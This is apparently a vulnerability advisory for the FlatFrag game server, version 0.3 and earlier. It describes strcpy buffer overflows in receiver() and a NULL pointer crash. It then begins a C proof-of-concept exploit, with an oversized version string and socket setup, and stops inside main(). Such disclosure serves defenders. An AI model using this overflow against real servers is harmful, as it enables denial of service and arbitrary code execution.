FlatFrag does not validate numerous inputs allowing attackers to cause multiple buffer overflows that in turn can be used to execute arbitrary code or cause DoS.
Vulnerable Systems:
* FlatFrag version 0.3 and lower
Multiple Buffer Overflow:
The receiver() function in server/loop.c contains 3 buffer-overflow caused by the usage of strcpy() for copying the version, the name and the model sent by the client to 3 buffers of respectively 64, 32 and 32 bytes.
NULL pointer crash:
When the server receives the NT_CONN_OK command from an unconnected client it calls net_on_receive(NULL, NULL) which is a function pointer that reads the data contained in the stream passed as second argument. The problem is just in the NULL pointers passed to the function which lead to the immediate crash of the server.
#define VER "0.1"
#define BUFFSZ 2048
#define PORT 29000
#define TIMEOUT 3
#define GAMEVER "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaAAA"
int ff_addstr(u_char *in, u_char *out);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
int sd,
len,
attack;
u_short port = PORT;
u_char buff[BUFFSZ],
*p;
